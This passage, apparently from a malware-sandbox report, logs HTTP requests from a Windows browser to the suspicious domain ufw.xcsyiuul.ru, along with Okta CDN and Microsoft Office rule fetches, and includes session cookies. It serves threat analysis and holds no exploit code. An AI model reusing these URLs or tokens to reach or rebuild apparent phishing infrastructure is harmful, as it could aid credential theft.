              Source: global trafficHTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveOrigin: https://ufw.xcsyiuul.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveOrigin: https://ufw.xcsyiuul.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /34cqzeJQ3BTVQkZVgXC7rYlS7LjjghmR0vopeWBu267110 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /uvPOzBscrSmAFLpAg2cqrsnCCn8y62vf7Ds34130 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /opukYQwNBYnveWE4OuuJmnAObX1DCAfeJFnp45140 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /efMXjuZS5VoR0Ia55zkv7ijueNUTuPNX60HN78146 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /ijU7wFhpaX6XEytqxmDUYP9cdfjsxCFxkbJSgXhNOE78162 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /wx91xlouZ2zkhWhOatXe5l49FJemH6yeYsrsrV6smnndZO1NFomqQfSbW6Jwqab176 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rsBcnDvaiorUutbh5B3Adjnuv5P6J55tBLVCjJ9xNFEiXCcd195 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ufw.xcsyiuul.ru/zcnqhgmyuhjsasmmjtxujikccpcruhtjnkditijupyaurdugubiTYTXS60TJ864YWI87EFB896B?HGOZEFGPTKDICUMNRLGOKEHAJVLAQAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /uvPOzBscrSmAFLpAg2cqrsnCCn8y62vf7Ds34130 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
              Source: global trafficHTTP traffic detected: GET /opukYQwNBYnveWE4OuuJmnAObX1DCAfeJFnp45140 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFZR2dCbVFxRkFHREYyeTQyNC8zdXc9PSIsInZhbHVlIjoiaEFXaXo4dXdqOVZLQ0toS0tDcTBiSG00U2kvQi8ydUVoL0xlelYwUTlCUVkwaXFUSGl1WmV4M0JJY01nVkpXTGhIREdVeXlFT0E0WE9PMGs3SW1lY3dKK3BjRFhpSUlsS3lhd2F3VnBFeS92NEtCUFo0NEdranAzZ2llZHdrN3IiLCJtYWMiOiI2NTkzZWU1MWQwOGFmMmY4NDQyMTUwNDNhNjU2MmMxOWQxNmQzOTljZThmOTU1NDFjM2M2ZWU4MmJiNzFhYjNlIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /efMXjuZS5VoR0Ia55zkv7ijueNUTuPNX60HN78146 HTTP/1.1Host: ufw.xcsyiuul.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxFZzhyMDNXRXc0dHpWWDc4WThNNWc9PSIsInZhbHVlIjoiQ3BFczV2czkxVkdDNmJkYzk0V1NYTlRFRWVZNFZNSmVHUU8yaVRQNTBzNG9UUlhmT0gzSDVFL25DRlpTZjlhZ0JTZXN3Q0FLMmo2QUhUU2x3VzdERXJkSFhJSGRYMU1lYjVjWEErTFpET1k1Tkc5Z0htTlNOZEx4VWlrSm43MlEiLCJtYWMiOiJmZDhhNTFlZTkwNmVkYTIyYTZlYTJkODRmNThhZGRkZTZhMTExYWQyMDRlNjY5OTVmYWFiMGI5ODE5ZDc3ZjM2IiwidGFnIjoiIn0%3D; 